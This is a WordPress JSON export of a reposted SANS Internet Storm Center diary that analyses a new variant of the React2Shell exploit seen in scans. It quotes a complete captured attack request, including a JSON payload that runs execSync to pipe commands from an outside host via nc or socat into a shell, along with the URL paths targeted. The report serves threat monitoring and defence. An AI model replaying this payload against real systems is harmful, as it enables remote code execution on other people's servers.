{"id":9293,"date":"2025-12-18T04:03:33","date_gmt":"2025-12-18T04:03:33","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/12\/18\/32578\/"},"modified":"2025-12-18T04:03:33","modified_gmt":"2025-12-18T04:03:33","slug":"32578","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/12\/18\/32578\/","title":{"rendered":"Maybe a Little Bit More Interesting React2Shell Exploit, (Wed, Dec 17th)"},"content":{"rendered":"<p>    Maybe a Little Bit More Interesting React2Shell Exploit, (Wed, Dec 17th)<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>I have already talked about various React2Shell exploit attempts we have observed in the last weeks. But new varieties of the exploit are popping up, and the most recent one is using this particular version of the exploit:<\/p>\n<blockquote>\n<p><code>POST \/app HTTP\/1.1<br \/>\nHost: 81.187.66.58<br \/>\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW<br \/>\nNext-Action: 0<br \/>\nRsc-Action: 0<br \/>\nContent-Length: 388<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36<br \/>\nAccept: *\/*<br \/>\nConnection: close<\/code><\/p>\n<p><code>------WebKitFormBoundary7MA4YWxkTrZu0gW<br \/>\nContent-Disposition: form-data; name=\"$RSC\"<br \/>\nContent-Type: application\/json<\/code><\/p>\n<p><code>{\"0\":{\"0\":{\"0\":{\"constructor\":{\"constructor\":{\"constructor\":\"function() { const {execSync} = require('child_process'); return execSync('n(nc 45.153.34.201 65050||socat - tcp:45.153.34.201:65050)|shn').toString(); }\"}}}}}}<br \/>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/p>\n<\/blockquote>\n<p>The overall idea is similar to what we have seen in the past. This version adds the &#8220;Rsc-Action&#8221; header, which I assume is supposed to target sites that expose react server components without Next.js. The &#8220;Next-Action&#8221; header is still present as well. The scans are also attempting different URLs:<\/p>\n<blockquote>\n<p><tt>\/<br \/>\n\/api<br \/>\n\/app<br \/>\n\/api\/route<br \/>\n\/_next\/server<\/tt><\/p>\n<\/blockquote>\n<p>\nOther exploits have focused on the index page (\/). I assume the pool of vulnerable systems is running dry, and attackers are diversifying their exploits a bit. Sadly, the host providing instructions for what to do next (45.153.34.201) is no longer providing these instructions.<\/p>\n<p>&#8212;<br \/>\nJohannes B. Ullrich, Ph.D. , Dean of Research, <a href=\"https:\/\/sans.edu\/\">SANS.edu<\/a><br \/>\n<a href=\"https:\/\/jbu.me\/164\">Twitter<\/a>|<\/p>\n<p>\u00a0<\/p>\n<p>&#8212;<br \/>\nJohannes B. Ullrich, Ph.D. , Dean of Research, <a href=\"https:\/\/sans.edu\/\">SANS.edu<\/a><br \/>\n<a href=\"https:\/\/jbu.me\/164\">Twitter<\/a>|<\/p>\n<p> (c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><\/p>\n<p> \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/isc.sans.edu\/diary\/rss\/32578\">Go to isc.sans.edu<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Maybe a Little Bit More Interesting React2Shell Exploit, (Wed, Dec 17th) I have already talked about various React2Shell exploit attempts we have observed in the last weeks. But new varieties of the exploit are popping up, and the most recent one is using this particular version of the exploit: POST \/app HTTP\/1.1 Host: 81.187.66.58 Content-Type: [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[69],"class_list":["post-9293","post","type-post","status-publish","format-standard","hentry","category-isc-sans-edu","tag-isc-sans-edu"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/9293"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=9293"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/9293\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=9293"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=9293"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=9293"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}